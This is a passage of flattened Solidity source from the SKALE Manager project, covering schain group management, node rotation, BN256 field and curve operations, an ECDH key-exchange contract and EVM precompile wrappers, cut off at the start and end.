} /** * @dev Checks whether schain name is available. * TODO Need to delete - copy of web3.utils.soliditySha3 */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0) && !usedSchainNames[schainId] && keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet")); } /** * @dev Checks whether schain lifetime has expired. */ function isTimeExpired(bytes32 schainId) external view returns (bool) { return uint(schains[schainId].startDate).add(schains[schainId].lifetime) < block.timestamp; } /** * @dev Checks whether address is owner of schain. */ function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) { return schains[schainId].owner == from; } /** * @dev Checks whether schain exists. */ function isSchainExist(bytes32 schainId) external view returns (bool) { return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked("")); } /** * @dev Returns schain name. */ function getSchainName(bytes32 schainId) external view returns (string memory) { return schains[schainId].name; } /** * @dev Returns last active schain of a node. */ function getActiveSchain(uint nodeIndex) external view returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } /** * @dev Returns active schains of a node. */ function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } /** * @dev Returns number of nodes in an schain group. */ function getNumberOfNodesInGroup(bytes32 schainId) external view returns (uint) { return schainsGroups[schainId].length; } /** * @dev Returns nodes in an schain group. */ function getNodesInGroup(bytes32 schainId) external view returns (uint[] memory) { return schainsGroups[schainId]; } /** * @dev Checks whether sender is a node address from a given schain group. */ function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < schainsGroups[schainId].length; i++) { if (nodes.getNodeAddress(schainsGroups[schainId][i]) == sender) { return true; } } return false; } /** * @dev Returns node index in schain group. */ function getNodeIndexInGroup(bytes32 schainId, uint nodeId) external view returns (uint) { for (uint index = 0; index < schainsGroups[schainId].length; index++) { if (schainsGroups[schainId][index] == nodeId) { return index; } } return schainsGroups[schainId].length; } /** * @dev Checks whether there are any nodes with free resources for given * schain. */ function isAnyFreeNode(bytes32 schainId) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; return nodes.countNodesWithFreeSpace(space) > 0; } /** * @dev Returns whether any exceptions exist for node in a schain group. */ function checkException(bytes32 schainId, uint nodeIndex) external view returns (bool) { return _exceptionsForGroups[schainId][nodeIndex]; } function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) { for (uint i = 0; i < holesForSchains[schainHash].length; i++) { if (holesForSchains[schainHash][i] == indexOfNode) { return true; } } return false; } /** * @dev Returns number of Schains on a node. */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } function getSchainType(uint typeOfSchain) external view returns(uint8, uint) { require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain"); return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; numberOfSchainTypes = 0; } /** * @dev Allows Schains and NodeRotation contracts to add schain to node. */ function addSchainForNode(uint nodeIndex, bytes32 schainId) public allowTwo("Schains", "NodeRotation") { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainId); placeOfSchainOnNode[schainId][nodeIndex] = schainsForNodes[nodeIndex].length; } else { uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; schainsForNodes[nodeIndex][lastHoleOfNode] = schainId; placeOfSchainOnNode[schainId][nodeIndex] = lastHoleOfNode + 1; holesForNodes[nodeIndex].pop(); } } /** * @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an * schain from a node. */ function removeSchainForNode(uint nodeIndex, uint schainIndex) public allowThree("NodeRotation", "SkaleDKG", "Schains") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length.sub(1)) { schainsForNodes[nodeIndex].pop(); } else { delete schainsForNodes[nodeIndex][schainIndex]; if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev Allows Schains contract to remove node from exceptions */ function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) public allowThree("Schains", "NodeRotation", "SkaleManager") { _exceptionsForGroups[schainHash][nodeIndex] = false; uint len = _nodeToLockedSchains[nodeIndex].length; bool removed = false; if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) { _nodeToLockedSchains[nodeIndex].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) { _nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1]; _nodeToLockedSchains[nodeIndex].pop(); removed = true; } } } len = _schainToExceptionNodes[schainHash].length; removed = false; if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) { _schainToExceptionNodes[schainHash].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) { _schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1]; _schainToExceptionNodes[schainHash].pop(); removed = true; } } } } /** * @dev Returns index of Schain in list of schains for a given node. */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) { if (placeOfSchainOnNode[schainId][nodeIndex] == 0) return schainsForNodes[nodeIndex].length; return placeOfSchainOnNode[schainId][nodeIndex] - 1; } function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) { return _nodeToLockedSchains; } function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) { return _schainToExceptionNodes; } /** * @dev Generates schain group using a pseudo-random generator. */ function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; nodesInGroup = new uint[](numberOfNodes); require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId) ); for (uint i = 0; i < numberOfNodes; i++) { uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); nodesInGroup[i] = node; _setException(schainId, node); addSchainForNode(node, schainId); nodes.makeNodeInvisible(node); require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node"); } // set generated group schainsGroups[schainId] = nodesInGroup; _makeSchainNodesVisible(schainId); } function _setException(bytes32 schainId, uint nodeIndex) private { _exceptionsForGroups[schainId][nodeIndex] = true; _nodeToLockedSchains[nodeIndex].push(schainId); _schainToExceptionNodes[schainId].push(nodeIndex); } function _makeSchainNodesVisible(bytes32 schainId) private { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeVisible(_schainToExceptionNodes[schainId][i]); } } /** * @dev Returns local index of node in schain group. */ function _findNode(bytes32 schainId, uint nodeIndex) private view returns (uint) { uint[] memory nodesInGroup = schainsGroups[schainId]; uint index; for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } } // SPDX-License-Identifier: AGPL-3.0-only /* FieldOperations.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Precompiled.sol"; library Fp2Operations { using SafeMath for uint; struct Fp2Point { uint a; uint b; } uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) { return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) }); } function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) { return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) }); } function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure returns (Fp2Point memory difference) { uint p = P; if (diminished.a >= subtracted.a) { difference.a = addmod(diminished.a, p - subtracted.a, p); } else { difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p); } if (diminished.b >= subtracted.b) { difference.b = addmod(diminished.b, p - subtracted.b, p); } else { difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p); } } function mulFp2( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (Fp2Point memory result) { uint p = P; Fp2Point memory point = Fp2Point({ a: mulmod(value1.a, value2.a, p), b: mulmod(value1.b, value2.b, p)}); result.a = addmod( point.a, mulmod(p - 1, point.b, p), p); result.b = addmod( mulmod( addmod(value1.a, value1.b, p), addmod(value2.a, value2.b, p), p), p - addmod(point.a, point.b, p), p); } function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) { uint p = P; uint ab = mulmod(value.a, value.b, p); uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p); return Fp2Point({ a: mult, b: addmod(ab, ab, p) }); } function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) { uint p = P; uint t0 = mulmod(value.a, value.a, p); uint t1 = mulmod(value.b, value.b, p); uint t2 = mulmod(p - 1, t1, p); if (t0 >= t2) { t2 = addmod(t0, p - t2, p); } else { t2 = (p - addmod(t2, p - t0, p)).mod(p); } uint t3 = Precompiled.bigModExp(t2, p - 2, p); result.a = mulmod(value.a, t3, p); result.b = (p - mulmod(value.b, t3, p)).mod(p); } function isEqual( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (bool) { return value1.a == value2.a && value1.b == value2.b; } } library G1Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 1, b: 2 }); } function isG1Point(uint x, uint y) internal pure returns (bool) { uint p = Fp2Operations.P; return mulmod(y, y, p) == addmod(mulmod(mulmod(x, x, p), x, p), 3, p); } function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return isG1Point(point.a, point.b); } function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) { return point.a < Fp2Operations.P && point.b < Fp2Operations.P; } function negate(uint y) internal pure returns (uint) { return Fp2Operations.P.sub(y).mod(Fp2Operations.P); } } library G2Operations { using SafeMath for uint; using Fp2Operations for Fp2Operations.Fp2Point; struct G2Point { Fp2Operations.Fp2Point x; Fp2Operations.Fp2Point y; } function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return Fp2Operations.Fp2Point({ a: 19485874751759354771024239261021720505790618469301721065564631296452457478373, b: 266929791119991161246907387137283842545076965332900288569378510910307636690 }); } function getG2Generator() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 10857046999023057135944570762232829481370756359578518086990519993285655852781, b: 11559732032986387107991004021392285783925812861821192530917403151452391805634 }), y: Fp2Operations.Fp2Point({ a: 8495653923123431417604973247489272438418190587263600148770280649306958101930, b: 4082367875863433681332203403145435568316851327593401208105741076214120093531 }) }); } function getG2Zero() internal pure returns (G2Point memory) { // Current solidity version does not support Constants of non-value type // so we implemented this function return G2Point({ x: Fp2Operations.Fp2Point({ a: 0, b: 0 }), y: Fp2Operations.Fp2Point({ a: 1, b: 0 }) }); } function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) { if (isG2ZeroPoint(x, y)) { return true; } Fp2Operations.Fp2Point memory squaredY = y.squaredFp2(); Fp2Operations.Fp2Point memory res = squaredY.minusFp2( x.squaredFp2().mulFp2(x) ).minusFp2(getTWISTB()); return res.a == 0 && res.b == 0; } function isG2(G2Point memory value) internal pure returns (bool) { return isG2Point(value.x, value.y); } function isG2ZeroPoint( Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y ) internal pure returns (bool) { return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0; } function isG2Zero(G2Point memory value) internal pure returns (bool) { return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0; // return isG2ZeroPoint(value.x, value.y); } function addG2( G2Point memory value1, G2Point memory value2 ) internal view returns (G2Point memory sum) { if (isG2Zero(value1)) { return value2; } if (isG2Zero(value2)) { return value1; } if (isEqual(value1, value2)) { return doubleG2(value1); } Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2()); sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x)); sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x))); uint p = Fp2Operations.P; sum.y.a = (p - sum.y.a).mod(p); sum.y.b = (p - sum.y.b).mod(p); } function isEqual( G2Point memory value1, G2Point memory value2 ) internal pure returns (bool) { return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y); } function doubleG2(G2Point memory value) internal view returns (G2Point memory result) { if (isG2Zero(value)) { return value; } else { Fp2Operations.Fp2Point memory s = value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2()); result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x)); result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x))); uint p = Fp2Operations.P; result.y.a = (p - result.y.a).mod(p); result.y.b = (p - result.y.b).mod(p); } } } // SPDX-License-Identifier: AGPL-3.0-only /* NodeRotation.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./Schains.sol"; /** * @title NodeRotation * @dev This contract handles all node rotation functionality. */ contract NodeRotation is Permissions { using Random for Random.RandomGenerator; /** * nodeIndex - index of Node which is in process of rotation (left from schain) * newNodeIndex - index of Node which is rotated(added to schain) * freezeUntil - time till which Node should be turned on * rotationCounter - how many rotations were on this schain */ struct Rotation { uint nodeIndex; uint newNodeIndex; uint freezeUntil; uint rotationCounter; } struct LeavingHistory { bytes32 schainIndex; uint finishedRotation; } mapping (bytes32 => Rotation) public rotations; mapping (uint => LeavingHistory[]) public leavingHistory; mapping (bytes32 => bool) public waitForNewNode; /** * @dev Allows SkaleManager to remove, find new node, and rotate node from * schain. * * Requirements: * * - A free node must exist. */ function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = schainsInternal.getActiveSchain(nodeIndex); if (schainId == bytes32(0)) { return (true, false); } _startRotation(schainId, nodeIndex); rotateNode(nodeIndex, schainId, true, false); return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true); } /** * @dev Allows SkaleManager contract to freeze all schains on a given node. */ function freezeSchains(uint nodeIndex) external allow("SkaleManager") { bytes32[] memory schains = SchainsInternal( contractManager.getContract("SchainsInternal") ).getSchainIdsForNode(nodeIndex); for (uint i = 0; i < schains.length; i++) { if (schains[i] != bytes32(0)) { require( ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]), "DKG did not finish on Schain" ); if (rotations[schains[i]].freezeUntil < now) { _startWaiting(schains[i], nodeIndex); } else { if (rotations[schains[i]].nodeIndex != nodeIndex) { revert("Occupied by rotation on Schain"); } } } } } /** * @dev Allows Schains contract to remove a rotation from an schain. */ function removeRotation(bytes32 schainIndex) external allow("Schains") { delete rotations[schainIndex]; } /** * @dev Allows Owner to immediately rotate an schain. */ function skipRotationDelay(bytes32 schainIndex) external onlyOwner { rotations[schainIndex].freezeUntil = now; } /** * @dev Returns rotation details for a given schain. */ function getRotation(bytes32 schainIndex) external view returns (Rotation memory) { return rotations[schainIndex]; } /** * @dev Returns leaving history for a given node. */ function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) { return leavingHistory[nodeIndex]; } function isRotationInProgress(bytes32 schainIndex) external view returns (bool) { return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex]; } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an * schain. */ function rotateNode( uint nodeIndex, bytes32 schainId, bool shouldDelay, bool isBadNode ) public allowTwo("SkaleDKG", "SkaleManager") returns (uint newNode) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); schainsInternal.removeNodeFromSchain(nodeIndex, schainId); if (!isBadNode) { schainsInternal.removeNodeFromExceptions(schainId, nodeIndex); } newNode = selectNodeToGroup(schainId); Nodes(contractManager.getContract("Nodes")).addSpaceToNode( nodeIndex, schainsInternal.getSchainsPartOfNode(schainId) ); _finishRotation(schainId, nodeIndex, newNode, shouldDelay); } /** * @dev Allows SkaleManager, Schains, and SkaleDKG contracts to * pseudo-randomly select a new Node for an Schain. * * Requirements: * * - Schain is active. * - A free node already exists. * - Free space can be allocated from the node. */ function selectNodeToGroup(bytes32 schainId) public allowThree("SkaleManager", "Schains", "SkaleDKG") returns (uint nodeIndex) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); require(schainsInternal.isSchainActive(schainId), "Group is not active"); uint8 space = schainsInternal.getSchainsPartOfNode(schainId); schainsInternal.makeSchainNodesInvisible(schainId); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes available for rotation"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), schainId) ); nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex"); schainsInternal.makeSchainNodesVisible(schainId); schainsInternal.addSchainForNode(nodeIndex, schainId); schainsInternal.setException(schainId, nodeIndex); schainsInternal.setNodeInGroup(schainId, nodeIndex); } /** * @dev Initiates rotation of a node from an schain. */ function _startRotation(bytes32 schainIndex, uint nodeIndex) private { rotations[schainIndex].newNodeIndex = nodeIndex; waitForNewNode[schainIndex] = true; } function _startWaiting(bytes32 schainIndex, uint nodeIndex) private { ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder")); rotations[schainIndex].nodeIndex = nodeIndex; rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay()); } /** * @dev Completes rotation of a node from an schain. */ function _finishRotation( bytes32 schainIndex, uint nodeIndex, uint newNodeIndex, bool shouldDelay) private { leavingHistory[nodeIndex].push( LeavingHistory( schainIndex, shouldDelay ? now.add( ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay() ) : now ) ); rotations[schainIndex].newNodeIndex = newNodeIndex; rotations[schainIndex].rotationCounter++; delete waitForNewNode[schainIndex]; ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex); } /** * @dev Checks whether a rotation can be performed. * * Requirements: * * - Schain must exist. */ function _checkRotation(bytes32 schainId ) private view returns (bool) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainExist(schainId), "Schain does not exist for rotation"); return schainsInternal.isAnyFreeNode(schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* ISkaleDKG.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface to {SkaleDKG}. */ interface ISkaleDKG { /** * @dev See {SkaleDKG-openChannel}. */ function openChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-deleteChannel}. */ function deleteChannel(bytes32 schainId) external; /** * @dev See {SkaleDKG-isLastDKGSuccessful}. */ function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool); /** * @dev See {SkaleDKG-isChannelOpened}. */ function isChannelOpened(bytes32 schainId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later /* Modifications Copyright (C) 2018 SKALE Labs ec.sol by @jbaylina under GPL-3.0 License */ /** @file ECDH.sol * @author Jordi Baylina (@jbaylina) * @date 2016 */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; /** * @title ECDH * @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to * support the DKG process. */ contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { require(a > 0 && a < _N, "Input is incorrect"); uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; // we use (0 0 1) as zero point, z always equal 1 if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } // we use (0 0 1) as zero point, z always equal 1 if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); } else { (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } // SPDX-License-Identifier: AGPL-3.0-only /* Precompiled.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library Precompiled { function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = modulus; uint[1] memory out; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) { uint[3] memory inputToMul; uint[2] memory output; inputToMul[0] = x; inputToMul[1] = y; inputToMul[2] = k; bool success; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40) } require(success, "Multiplication failed"); return (output[0], output[1]); } function bn256Pairing( uint x1, uint y1, uint a1, uint b1, uint c1, uint d1, uint x2, uint y2, uint a2, uint b2, uint c2, uint d2) internal view returns (bool) { bool success; uint[12] memory inputToPairing; inputToPairing[0] = x1; inputToPairing[1] = y1; inputToPairing[2] = a1; inputToPairing[3] = b1; inputToPairing[4] = c1; inputToPairing[5] = d1; inputToPairing[6] = x2; inputToPairing[7] = y2; inputToPairing[8] = a2; inputToPairing[9] = b2; inputToPairing[10] = c2; inputToPairing[11] = d2; uint[1] memory out; // solhint-disable-next-line no-inline-assembly assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgBroadcast.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ 